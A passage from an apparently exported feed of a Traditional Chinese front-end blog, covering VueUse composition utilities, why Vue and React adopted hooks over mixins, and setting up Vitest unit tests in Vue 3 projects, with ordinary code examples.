\u0026lt;script setup lang=\u0026#34;ts\u0026#34;\u0026gt; import { useInterval } from \u0026#39;.\u0026#39; const { counter, pause, resume } = useInterval(200, { controls: true }) // counter 一個 Ref 對象，它是響應式的，counter.value 等於已經計算的次數 // pause() 暫停 // resume() 恢復 \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;APP\u0026#34;\u0026gt; \u0026lt;p\u0026gt;Interval fired: {{ counter }}\u0026lt;/p\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 效果：\n是不是很好用？相比手寫 setInterval 更為便捷。\n如果徒手實現這樣一整套方法，多少行暫且不說，我們需要在業務中寫下大量的邏輯代碼。\n而眾所周知：\n寫的代碼越多，出 Bug 的可能性越大，維護和理解的難度就越高。從這個角度看，這個庫確實是一個合格的函數工具集。\n例子(三)：useClipboard 以複製文字為例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 \u0026lt;script setup\u0026gt; import { useClipboard } from \u0026#39;@vueuse/core\u0026#39;; // 只需要引入所使用到的 API import { ref } from \u0026#39;vue\u0026#39; const input = ref(\u0026#39;我是 Winnie\u0026#39;) const { text, // 複製的值 isSupported, // 瀏覽器有無支援 copy, // 方法 copied } = useClipboard() \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;div v-if=\u0026#34;isSupported\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;useClipboard\u0026lt;/h3\u0026gt; \u0026lt;p\u0026gt;複製內容：{{ input }}\u0026lt;/p\u0026gt; \u0026lt;input v-model=\u0026#34;input\u0026#34; /\u0026gt; \u0026lt;a @click=\u0026#34;copy(input)\u0026#34;\u0026gt;{{ copied ? \u0026#34;已複製\u0026#34; : \u0026#34;複製\u0026#34; }}\u0026lt;/a\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;p v-else\u0026gt;Your browser does not support Clipboard API\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 效果：\n例子(四)：useVModel 這是一個給經常封裝組件的小伙伴們的大好利器。\n先創建一個組件：Test.vue\nTest.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; name: \u0026lt;input v-model=\u0026#34;_name\u0026#34;/\u0026gt; age: \u0026lt;input v-model=\u0026#34;_age\u0026#34;/\u0026gt; sex: \u0026lt;input v-model=\u0026#34;_sex\u0026#34;/\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34; setup\u0026gt; import { useVModel } from \u0026#39;@vueuse/core\u0026#39; const props = defineProps({ name: String, age: String, sex: String }) const emit = defineEmits([\u0026#39;update:name\u0026#39;, \u0026#39;update:age\u0026#39;, \u0026#39;update:sex\u0026#39;]) const _name = useVModel(props, \u0026#39;name\u0026#39;, emit) const _age = useVModel(props, \u0026#39;age\u0026#39;, emit) const _sex = useVModel(props, \u0026#39;sex\u0026#39;, emit) \u0026lt;/script\u0026gt; 接著，在 index.vue 中使用它\nindex.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; \u0026lt;Test v-model:name=\u0026#34;formData.name\u0026#34; v-model:age=\u0026#34;formData.age\u0026#34; v-model:sex=\u0026#34;formData.sex\u0026#34; \u0026gt;\u0026lt;/Test\u0026gt; {{ formData }} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup lang=\u0026#34;ts\u0026#34;\u0026gt; import { reactive } from \u0026#39;vue-demi\u0026#39;; import Test from \u0026#39;./Test.vue\u0026#39; const formData = reactive({ name: \u0026#39;lily\u0026#39;, age: \u0026#39;8\u0026#39;, sex: \u0026#39;boy\u0026#39; }) \u0026lt;/script\u0026gt; 效果：\n對於有組件封裝需求的朋友，這個方法強烈推薦！\n不用再為了單向數據流的組件封裝，而在組件內寫冗餘的代碼了。\n直接將 useVModel 返回的數據作為響應式對象用即可。\n最後 例子太多，就不再一一介紹了，但大家應該已經有了一個初步的概念，知道了此庫的作用，一言以蔽之：助力摸鱼，提前下班。\n它沒辦法做到你之前做不到的事情。\n它只能做到讓你更輕鬆的完成工作！願你今天也能按時下班。\n","date":"2022-12-30T00:00:00Z","image":"https://live.staticflickr.com/65535/52595409644_aa1fd7bf45_o.png","permalink":"https://blog.wayne-project.com/2022-12-30/npm-vueuse/","title":"【VueUse】一款基於 Vue Composition API 的函式工具集"},{"content":" 參考網站\n一、hooks：什麼叫大勢所趨？ 2019年年初，react 在 16.8.x 版本正式具備了 hooks 能力。\n2019年6月，尤雨溪在 vue/github-issues 裡提出了關於 vue3 Composition API 的提案。(vue hooks的基礎)\n在後續的 react 和 vue3 相關版本中，相關 hooks 能力都開始被更多人所接受。\n除此之外，solid.js、preact 等框架，也是開始選擇加入 hooks 大家庭。\n可以預見，雖然目前仍然是 class Component 和 hooks api 並駕齊驅的場面，但未來幾年裡，hooks 極有可能取代 class Component 成為業內真正的主流。\n二、什麼是 hooks？ hooks 的定義 hooks 直譯是\u0026quot;鉤子\u0026quot;，它並不僅是 react，甚至不僅是前端界的專用術語，而是整個行業所熟知的用語。\n通常指：\n系統運行到某一時期時，會調用被註冊到該時機的回調函數。\n比較常見的鉤子有：windows 系統的鉤子能監聽到系統的各種事件，瀏覽器提供的 onload 或 addEventListener 能註冊在瀏覽器各種時機被調用的方法。\n以上這些，都可以被稱一聲 hook。\n但是很顯然，在特定領域的特定話題下，hooks 這個詞被賦予了一些特殊的含義。\n在 react@16.x 之前，當我們談論 hooks 時，我們可能談論的是\u0026quot;組件的生命週期\u0026quot;。\n但是現在，hooks 則有了全新的含義。\n以 react 為例，hooks 是：\n一系列以 \u0026ldquo;use\u0026rdquo; 作為開頭的方法，它們提供了讓你可以完全避開 class 式寫法，在函數式組件中完成生命週期、狀態管理、邏輯複用等幾乎全部組件開發工作的能力。\n簡化一下：\n一系列方法，提供了在函數式組件中完成開發工作的能力。\n(記住這個關鍵詞：函數式組件)\n1 2 import { useState, useEffect, useCallback } from \u0026#39;react\u0026#39;; // 比如以上這幾個方法，就是最為典型的 Hooks 而在 vue 中，hooks 的定義可能更模糊，姑且總結一下：\n在 vue 組合式 API 裡，以 \u0026ldquo;use\u0026rdquo; 作為開頭的，一系列提供了組件複用、狀態管理\u0026hellip;等開發能力的方法。\n(關鍵詞：組合式API)\n1 2 3 import { useSlots, useAttrs } from \u0026#39;vue\u0026#39;; import { useRouter } from \u0026#39;vue-router\u0026#39;; // 以上這些方法，也是 vue3 中相關的 Hook！ 如：useSlots、useAttrs、useRouter 等。\n但主觀來說，我認為 vue 組合式 API 其本身就是 \u0026ldquo;vue hooks\u0026rdquo; 的關鍵一環，起到了 react hooks 裡對生命週期、狀態管理的核心作用。(如 onMounted、ref 等等)。\n如果按這個標準來看的話，vue 和 react 中 hooks 的定義，似乎都差不多。\n那麼為什麼要提到是以 \u0026quot;use\u0026quot; 作為開頭的方法呢？\n命名規範和指導思想 通常來說，hooks 的命名都是以 use 作為開頭，這個規範也包括了那麼我們自定義的 hooks。\n為什麼？\n在 react 官方文檔裡，對 hooks 的定義和使用提出了 一個假設、兩個只在 核心指導思想。\n一個假設：假設任何以「use」 開頭並緊跟著一個大寫字母的函數就是一個 Hook。\n第一個只在：只在 React 函數組件中調用 Hook，而不在普通函數中調用 Hook。(Eslint 通過判斷一個方法是不是大坨峰命名來判斷它是否是 React 函數)\n第二個只在：只在最頂層使用 Hook，而不要在循環、條件或嵌套函數中調用 Hook。\n因為約定的力量在於：我們不用細看實現，也能通過命名來了解一個它是什麼。\n以上 一個假設、兩個只在 總結自 react 官網：\nHook 的規則 Lint 規則究竟強制了些什麼？ 三、為什麼我們需要 hooks？ 更好的狀態複用 針對的就是你，mixin！\n在 class 組件模式下，狀態邏輯的複用是一件困難的事情。\n假設有如下需求：\n當組件實例創建時，需要創建一個 state 屬性：name，並隨機給此 name 屬性附一個初始值。除此之外，還得提供一個 setName 方法。你可以在組件其他地方取得和修改此狀態屬性。\n更重要的是：這個邏輯要可以複用，在各種業務組件裡複用這個邏輯。\n在擁有 Hooks 之前，我首先會想到的解決方案一定是 mixin。\n代碼如下：(此示例採用 vue2 mixin 寫法)\n1 2 3 4 5 6 7 8 9 10 11 12 13 // 混入文件：name-mixin.js export default { data() { return { name: genRandomName() // 假裝它能生成隨機的名字 } }, methods: { setName(name) { this.name = name } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 \u0026lt;!-- 组件：my-component.vue --\u0026gt; \u0026lt;template\u0026gt; \u0026lt;div\u0026gt;{{ name }}\u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import nameMixin from \u0026#39;./name-mixin\u0026#39;; export default { mixins: [nameMixin], // 通過 mixins，你可以直接獲得 nameMixin 中所定義的狀態、方法、生命周期中的事件...等 mounted() { setTimeout(() =\u0026gt; { this.setName(\u0026#39;Tom\u0026#39;) }, 3000) } } \u0026lt;/script\u0026gt; 粗略看來，mixins 似乎提供了非常不錯的複用能力，但是，react 官方文檔直接表明：\n為什麼呢？\n因為 mixins 雖然提供了這種狀態複用的能力，但它的弊端實在太多了。\n弊端一：難以追溯的方法與屬性！ 試想一下，如果出現這種代碼，你是否會懷疑人生：\n1 2 3 4 5 6 7 export default { mixins: [ a, b, c, d, e, f, g ], // 當然，這只是表示它混入了很多能力 mounted() { console.log(this.name) // 嗯...這個 this.name 來自於誰？我難道要一個個混入看實現？ } } 又或者：\n1 2 3 4 5 6 7 8 a.js mixins: [b.js] b.js mixins: [c.js] c.js mixins: [d.js] // 你猜猜看，this.name 來自於誰？ // 求求你别再說了，我血壓已经上来了 弊端二：覆蓋、同名？貴圈真亂！ 當我同時想混入 mixin-a.js 和 mixin-b.js 以同時獲得它們能力的時候，不幸的事情發生了：\n由於這兩個 mixin 功能的開發者惺惺相惜，它們都定義了 this.name 作為屬性。\n這種時候，你會深深懷疑，mixins 究竟是不是一種科學的複用方式。\n弊端三：梅開二度？代價很大！ 仍然說上面的例子，如果我的需求發生了改變，我需要的不再是一個簡單的狀態 name，而是分別需要 firstName 和 lastName。\n此時 name-mixin.js 混入的能力就會非常尷尬，因為我無法兩次 mixins 同一個文件。\n當然，也是有解決方案的，如：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // 動態生成 mixin function genNameMixin(key, funcKey) { return { data() { return { [key]: genRandomName() } }, methods: { [funcKey]: function(v) { this.[key] = v } } } } export default { mixins: [ genNameMixin(\u0026#39;firstName\u0026#39;, \u0026#39;setFirstName\u0026#39;), genNameMixin(\u0026#39;lastName\u0026#39;, \u0026#39;setLastName\u0026#39;), ] } 確實通過動態生成 mixin 完成了能力的複用，但這樣一來，無疑更加地增大了程序的複雜性，降低了可讀性。\n因此一種新的狀態邏輯複用，就變得極為迫切了——————它就是 Hooks！\nHook 的狀態複用寫法： 1 2 3 4 5 6 7 // 單個 name 的寫法 const { name, setName } = useName(); // 梅開二度的寫法 const { name: firstName, setName: setFirstName } = useName(); const { name: secondName, setName: setSecondName } = useName(); 相比於 mixins，它們簡直太棒了！\n方法和屬性好追溯嗎？這可太好了，誰產生的，哪兒來的一目了然。 會有重名、覆蓋問題嗎？完全沒有！內部的變量在閉包內，返回的變量支持定義別名。 多次使用，沒開 N 度？你看上面的代碼塊內不就 \u0026ldquo;梅開三度\u0026rdquo; 了嗎？ 就衝 狀態邏輯復用 這個理由，Hooks 就已經香得我口水直流了。\n代碼組織 熵減，宇宙哲學到編碼哲學。\n項目、模塊、頁面、功能，如何高效而清晰地組織代碼，這一個看似簡單的命題就算寫幾本書也無法完全說清楚。\n但一個頁面中，N 件事情的代碼在一個組件內互相糾纏確實是在 Hooks 出現之前非常常見的一種狀態。\n那麼 Hooks 寫法在代碼組織上究竟能帶來怎樣的提升呢？\n(假設上圖中每一種顏色就代碼一種高度相關的業務邏輯)\n無論是 vue 還是 react，通過 Hooks 寫法都能做到，將\u0026quot;分散在各種聲明周期裡的代碼塊\u0026quot;，通過 Hooks 的方式將相關的內容聚合到一起。\n這樣帶來的好處是顯而易見的：高度聚合，可閱讀性提升。伴隨而來的便是效率提升，bug變少。\n按照\u0026quot;物理學\u0026quot;裡的理論來說，這種代碼組織方式，就算是\u0026quot;熵減\u0026quot;了。\n比 class 組件更容易理解 尤其是 this。\n在 react 的 class 寫法中，隨處可見各種各樣的 .bind(this)。(甚至官方文檔裡也有專門的章節描述了\u0026quot;為什麼綁定是必要的？\u0026ldquo;這一問題)\nvue 玩家別笑，computed: { a: () =\u0026gt; { this } } 裡的 this 也是 undefined。\n很顯然，綁定雖然\u0026quot;必要\u0026rdquo;，但並不是\u0026quot;優點\u0026quot;，反而是\u0026quot;故障高發\u0026quot;地段。\n但在 Hooks 寫法中，你就完全不必擔心 this 的問題了。\n因為：\n本來無一物，何處惹塵埃。\nHooks 寫法直接告別了 this，從\u0026quot;函數\u0026quot;來，到\u0026quot;函數\u0026quot;去。\n媽媽再也不用擔心我忘記寫 bind 了。\n友好的漸進式 隨風潛入夜，潤物細無聲。\n漸進式的含義是：你可以一點點深入使用。\n無論是 vue 還是 react，都只是提供了 Hooks API，並將它們的優劣利弊擺在了那裡。並沒有通過無法接受的 break change 來強迫你必須使用 Hooks 去改寫之前的 class 組件。\n你依然可以在項目裡一邊寫 class 組件，一邊寫 Hooks 組件，在項目的演進和開發過程中，這是一件沒有痛感，卻悄無聲息改變著一切的事情。\n但是事情發展的趨勢卻很明顯，越來越多的人加入了 Hooks 和 组合式 API 的大軍。\n如何開始玩 hooks？ 環境和版本 在 react 項目中，react 的版本需要高於 16.8.0。\n而在 vue 項目中，vue3.x 是最好的選擇，但 vue2.6+ 配合 @vue/composition-api，也可以開始享受 \u0026ldquo;組合式 API\u0026rdquo; 的快樂。\nreact 的 Hooks 寫法 因為 react Hooks 僅支持 \u0026ldquo;函數式\u0026rdquo; 組件，因此需要創建一個函數式組件 my-component.js。\nmy-component.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import { useState, useEffect, useMemo } from \u0026#39;React\u0026#39; export default () =\u0026gt; { // 通過 useState 可以創建一個 狀態屬性 和一個 賦值方法 const [ name, setName ] = useState(\u0026#39;\u0026#39;) // 通過 useEffect 可以對副作用進行處理 useEffect(() =\u0026gt; { console.log(name) }, [ name ]) // 通過 useMemo 能生成一個依賴 name 的變量 message const message = useMemo(() =\u0026gt; { return `hello, my name is ${name}` }, [name]) return \u0026lt;div\u0026gt;{ message }\u0026lt;/div\u0026gt; } 細節可參考 react 官方網站\nvue 的 Hooks 寫法 vue 的 Hooks 寫法依賴於组合式API，因此本例採用 \u0026lt;script setup\u0026gt; 來寫：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 \u0026lt;template\u0026gt; \u0026lt;div\u0026gt; {{ message }} \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script setup\u0026gt; import { computed, ref } from \u0026#39;vue\u0026#39; // 定義了一個 ref 對象 const name = ref(\u0026#39;\u0026#39;) // 定義了一個依賴 name.value 的計算屬性 const message = computed(() =\u0026gt; { return `hello, my name is ${name.value}` }) \u0026lt;/script\u0026gt; 很明顯，vue 組合式API 裡完成 useState 和 useMemo 相關工作的 API 並沒有通過 useXxx 來命名，而是遵從了 Vue 一脈相承而來的 ref 和 computed。\n雖然不符合 react Hook 定義的 Hook 約定，但 vue 的 api 不按照 react 的約定好像也並沒有什麼不妥。\n參考網址\n五、開始第一個自定義 hook 除了官方提供的 Hooks Api，Hooks 的另外一個重要特質，就是可以自己進行 \u0026ldquo;自定義 Hooks\u0026rdquo; 的定義，從而完成狀態邏輯的複用。\n開源社區也都有很多不錯的基於 Hooks 的封裝，比如 ahooks，又比如 VueUse\n那麼，我們應該怎麼開始撰寫 \u0026ldquo;自定義 Hooks\u0026rdquo; 呢？往下看吧！\nreact 玩家看這裡 react 官方網站就專門有一個章節講述 \u0026ldquo;自定義 Hook\u0026quot;。\n這裡，我們扔用文章開頭那個 useName 的需求為例，希望達到效果：\n1 2 3 const { name, setName } = useName(); // 隨機生成一個狀態屬性 name，它有一個隨機名作為初始值 // 並且提供了一個可隨時更新該值的方法 setName 如果我們要實現上面效果，我們該怎麼寫代碼呢？\n1 2 3 4 5 6 7 8 9 10 11 12 import React from \u0026#39;react\u0026#39;; export const useName = () =\u0026gt; { // 這個 useMemo 很關鍵 const randomName = React.useMemo(() =\u0026gt; genRandomName(), []); const [ name, setName ] = React.useState(randomName) return { name, setName } } 忍不住要再次感嘆一次，和 mixins 相比，它不僅使用起來更棒，就連定義起來也那麼簡單。\n可能有朋友會好奇，為什麼不直接這樣寫：\n1 const [ name, setName ] = React.useState(genRandomName()) 因為這樣寫是不對的，每次使用該 Hook 的函數組件被渲染一次時，genRandom() 方法就會被執行一次，雖然不影響 name 的值，但存在性能消耗，甚至產生其他 bug。\n為此，我寫了一個能複現錯誤的 demo，有興趣的朋友可以驗證：\n可以通過 React.useState(() =\u0026gt; randomName()) 傳參來避免重複執行，這樣就不需要 useMemo 了！\nvue 玩家看這裡 vue3 官網 沒有關於 自定義 Hook 的玩法介紹，但實踐起來也並不困難。\n目標也定位實現一個 useName 方法：\n1 2 3 4 5 6 7 8 9 10 11 12 import { ref } from \u0026#39;vue\u0026#39;; export const useName = () =\u0026gt; { const name = ref(genRandomName()) const setName = (v) =\u0026gt; { name.value = v } return { name, setName } } vue 和 react 自定義 Hook 的差異 相似點：總體思路是一致的都遵照著 定義狀態數據、操作狀態數據、隱藏細節 作為核心思路。 差異點：组合式 API 和 React 函数组件，有著本質差異： Vue3 的組件裡，setup 是作為一個早於 \u0026ldquo;created\u0026rdquo; 的生命週期存在的，無論如何，在一個組件的渲染過程中只會進入一次。 React 函数组件則完全不同，如果沒有被 memorized，它們可能會被不停地觸發，不停地進入並執行方法，因此需要開銷的心智相比於 Vue 其實是更多的。 ","date":"2022-12-30T00:00:00Z","image":"https://live.staticflickr.com/65535/52595598278_3dc955c418_o.png","permalink":"https://blog.wayne-project.com/2022-12-30/why-use-hooks/","title":"淺談為什麼 Vue 和 React 都選擇了 Hooks？"},{"content":" 參考網站\n參考網站\n參考網站\n參考網站\n網站建置不是件簡單的事，我們都知道網站做好之後，有好多細節需要兼顧，所以許多公司花了大量的時間與金錢，耗用人力對維護中的網站進行不斷的、重複的人工測試，想達到的目的不外乎是希望網站不要出錯，可以給客戶/使用者最好的網站使用體驗。本篇章說明使用 Vue3 開發的專案，導入 Vitest 進行極速單元測試的體驗！\n測試的種類 在不同的測試類型中，所需要保護的面向不太相同，以下是不同測試類型的大致介紹：\n單元測試 (Unit testing) 以程式碼的最小單位進行測試，保護程式邏輯不會在系統維護的過程中遭到破壞，也進一步確保維護中的程式碼品質。\n這種測試類型通常由開發人員自行撰寫，自己寫的 Code 自己寫測試，有經驗的開發人員可以用非常有效率的方式撰寫單元測試，因為測試範圍小，這種類型的測試通常不需要設立測試環境，因此可以得到較高的撰寫效率，也是所有測試類型中最容易撰寫的測試類型。不過，對於一個沒有經驗的開發者來說，撰寫單元測試可能會耗用大量時間，寫測試程式的時間很有可能會遠大於實際撰寫程式碼的時間，有蠻多人會因為這樣而放棄撰寫單元測試。\n整合測試 (Integration testing) 整合多方資源進行測試，確保模組與模組之間的互動行為正確無誤，也讓不同模組在各自開發維護的過程中不會因為功能調整而遭到破壞。\n這種類型的測試通常介於單元測試與端對端測試之間，有時候會由專職的測試人員進行開發，但大部分還是由開發團隊中負責特定模組的人來撰寫。有時候單一模組即便完全通過單元測試，獨立運作也正常，但是當需要與其他模組互動時，也是有可能發生錯誤，這時就是整合測試的主要負責領域。\n以下是未通過整合測試的案例：(兩個元件在整合時發現問題)\n端對端測試 (End-to-end testing) (E2E testing) 所謂的「端對端」(E2E) 是指從使用者的角度出發(一端)，對真實系統(另一端)進行測試。\n這種類型的測試對許多公司來說，就是「人工測試」的主要範圍，因為你可以透過人工對已經完整部屬的網站進行測試，因此可以驗證出系統是否符合客戶的實際需求。這部分也可以透過撰寫 E2E 測試程式來進行自動化，增加測試效率。\n這裡有個未通過 E2E 測試的案例相當有趣，雖然每個整套系統每個模組都通過所有單元測試與整合測試，但最後組裝起來後，從使用者的角度無法接受！\n測試案例中的 3A 模式 1 2 3 4 5 6 7 8 9 10 11 12 13 14 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { it(\u0026#39;摸摸，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;餵食，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;拿玩具逗，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // ... }) it(\u0026#39;什麼都不做，應該推倒眼前看到的所有東西\u0026#39;, () =\u0026gt; { // ... }) }) 當我們設立好測試情境與測試案例的敘述結構之後，要開始撰寫測試案例內部的實作時就可以利用所謂的 3A 模式來安排。\n3A 模式主要是為(Arrange-Act-Assert)三個英文字的縮寫，而他們分別代表了：\n準備(Arrange)：準備好受測目標需要的一切，包含依賴的隔離等 操作(Act)：操作受測物目標 斷言(Assert)：預期受測物的某個狀態是否為我們所預期 以上方第一項測試案例來套用 3A 模式的話就會像是：\n1 2 3 4 5 6 7 8 9 10 it(\u0026#39;摸摸，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { // Arrange: 準備好一隻貓 const target = new Cat() // Act: 摸摸那隻貓咪 target.touch() // Assert: 觀察那隻貓是否發出呼嚕嚕叫聲 expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) 那如果這時候你可能會想到每個測試案例都要準備一隻貓貓，對於測試案例來說就會一直不斷地去做「準備(Arrange)」這個行為，因此你可能會很直覺的這麼處理：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { const target = new Cat() it(\u0026#39;摸摸，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.touch() expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) it(\u0026#39;餵食，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.feed(\u0026#39;乾乾\u0026#39;) expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) it(\u0026#39;拿玩具逗，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.play() expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) }) 但這樣的後果就是每個測試案例之間就會有關聯了，比方貓貓其實摸太多下他也會覺得厭煩，從而導致測試失敗：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { const target = new Cat() it(\u0026#39;摸摸下巴，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.touch() expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) it(\u0026#39;再摸一次下巴，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.touch() expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) it(\u0026#39;再摸一次下巴，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.touch() expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) // 預期呼嚕嚕，結果貓咪生氣了 }) }) 而要寫好測試案例的其中幾個概念就是要盡量讓每個測試案例之間「不受順序影響測試結果」與「保持獨立」。\n因此大多數的「測試環境」的工具都會提供類似相關的 API 來協助處理測試開始前的「Setup」與結束後的「Teardown」環節。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 describe(\u0026#39;貓咪\u0026#39;, () =\u0026gt; { const target = new Cat() beforeEach(() =\u0026gt; { // 每個測試案例開始前要做的事情 target.init() // 初始化貓貓的各種狀態 }) afterEach(() =\u0026gt; { // 每個測試案例結束後要做的事情 }) it(\u0026#39;摸摸，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.touch() // 這時候的 target 已經是經過 init() 的版本了 expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) it(\u0026#39;餵食，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.feed(\u0026#39;乾乾\u0026#39;) // 這時候的 target 已經是經過 init() 的版本了 expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) it(\u0026#39;拿玩具逗，應該會發出「呼嚕嚕」聲\u0026#39;, () =\u0026gt; { target.play() // 這時候的 target 已經是經過 init() 的版本了 expect(target.speaking).toBe(\u0026#39;呼嚕嚕\u0026#39;) }) }) 綜合上述 3A 與處理 Setup \u0026amp; Teardown 的觀念，之後再寫測試案例時，我們可以先從基礎的 3A 模式開始撰寫，而到有需要處理重複的事前準備(Setup)與後續清理時(Teardown)，就可以藉由工具來替我們統一處理。\n看到這邊讀者應該會發現，測試的基本概念其實不難懂，而在瞭解測試的概念後，剩下的就是把概念轉換為測試工具可讀懂測試程式碼就好了！\n專案加入 Vitest 在初始化專案過程加入 Vitest 建立專案時若要加入單元測試要注意到的是：Node.js 版本必須為 14 以上，否則 Vitest 會無法順利執行！\n確認 Node.js 版本後，在要建立專案的父層路徑底下透過終端機指令輸入 npm create vite@latest 來建立一個基於 Vite 所建構的專案，接著終端機會出現一些問題，視專案需求選擇：\nProject name ⇒ 輸入自訂的專案名稱後按下 Enter Select a framework ⇒ 選擇 Vue 後按下 Enter Select a variant ⇒ 選擇 Customize with create-vue 後按下 Enter 中間可能還會有 TypeScript, ESLint⋯⋯等等問題，請視專案需要加入 Add Vitest for Unit Testing(y/n) ⇒ 選擇 Yes 後按下 Enter (最重要的部分 回答完上面的問題後，建構工具就會依據剛才答覆的內容，自動生成需要的部分。\n比方在 Add Vitest for Unit Testing 問題回答 Yes 的話，這時建構工具就會在專案中生成單元測試所需要的相關內容如下：\n一個位於 ~專案根目錄/src/components/__test__/HelloWorld.spec.js 的測試範例 1 2 3 4 5 6 7 8 9 10 11 import { describe, it, expect } from \u0026#39;vitest\u0026#39; import { mount } from \u0026#39;@vue/test-utils\u0026#39; import HelloWorld from \u0026#39;../HelloWorld.vue\u0026#39; describe(\u0026#39;HelloWorld\u0026#39;, () =\u0026gt; { it(\u0026#39;renders properly\u0026#39;, () =\u0026gt; { const wrapper = mount(HelloWorld, { props: { msg: \u0026#39;Hello Vitest\u0026#39; } }) expect(wrapper.text()).toContain(\u0026#39;Hello Vitest\u0026#39;) }) }) 在 ~專案根目錄/package.json 自動新增一個啟動單元測試的 scripts 指令 1 2 3 4 5 { \u0026#34;scripts\u0026#34;: { \u0026#34;test:unit\u0026#34;: \u0026#34;vitest --environment jsdom\u0026#34; }, } 在 ~專案根目錄/package.json 自動新增單元測試所需要的工具們 1 2 3 4 5 6 7 { \u0026#34;devDependencies\u0026#34;: { \u0026#34;@vue/test-utils\u0026#34;: \u0026#34;^2.0.2\u0026#34;, \u0026#34;jsdom\u0026#34;: \u0026#34;^20.0.0\u0026#34;, \u0026#34;vitest\u0026#34;: \u0026#34;^0.23.0\u0026#34; } } 接著如剛剛終端機後方的提示：\n執行 cd {剛才專案名稱} 切換到專案目錄底下 執行 npm install 安裝專案所需要的內容 安裝完畢後，接著就可以執行 npm run dev 確認環境，後續要執行測試的話，執行 npm run test:unit 就能立即運作了。\n在既有專案中加入 Vitest 在既有專案中加入 Vitest 來作為執行測試的環境時，需確認專案本身是由 Vite(2.7.10 版本以上)所建構的之外，其 Node.js 版本也必須為 14 以上，否則會無法順利執行測試！\n確認好必要條件後就可以開始安裝測試工具：\nvitest：單元測試框架(提供了執行測試的環境、斷言、隔離庫⋯⋯等等功能與 API) @vue/test-utils：測試 Vue 元件的工具 jsdom：讓我們可以在 Node 環境模擬出瀏覽器中的 DOM 環境(方便測試) 在專案根目錄下執行： 1 npm install -D vitest @vue/test-utils jsdom 新增 npm 執行單元測試的指令： package.json 1 2 3 4 5 { \u0026#34;scripts\u0026#34;: { \u0026#34;test:unit\u0026#34;: \u0026#34;vitest --environment jsdom\u0026#34; }, } 這時若心急的執行 npm run test:unit 會發現終端機告訴你 No test files found, exiting with code 1，原因是你尚未加入任何一個測試案例。\n而一開始 Vitest 預設測試的比對規則是 */*.{test,spec}.{js,mjs,cjs,ts,mts,cts,jsx,tsx}，簡單來說你在專案底下使用 A.test.js 或是 B.spec.ts 的方式都會被 Vitest 認為是測試程式檔。\n這時，我們可以在 ~專案根目錄/src/components/__test__/ 底下新建 HelloWorld.spec.js：\nsrc/components/test/HelloWorld.spec.js 1 2 3 4 5 6 7 import { describe, it, expect } from \u0026#39;vitest\u0026#39; describe(\u0026#39;HelloWorld\u0026#39;, () =\u0026gt; { it(\u0026#39;1 + 1 should be 2\u0026#39;, () =\u0026gt; { expect(1 + 1).toBe(2) }) }) 再次執行 npm run test:unit 終端機就會顯示：\n到這裡就算是成功安裝好囉，接下來我們會再把 Vitest Config 初期需要設定的部分調整好後，建置的部分就完成了。\nVitest Config 設定方式 Vitest 測試在執行的時候預設會基於原先專案中的 vite.config.js 設定檔，所以沒有需要調整的話不太需要另外設置，需要調整的話 Vitest 也提供了三種方法讓你在不同開發情境下選擇調整方式：\n執行 npm 指令時帶參數指定設定檔案路徑 直接在原先 vite.config.js 中調整 透過 vitest.config.js 檔案調整測試設定 執行 npm 指令時帶參數指定設定檔案路徑 若想要在執行的時候去引入不同的設定檔案，則可以在 package.json 指令中透過 --config 加上設定檔案的路徑(e.g. vitest --config 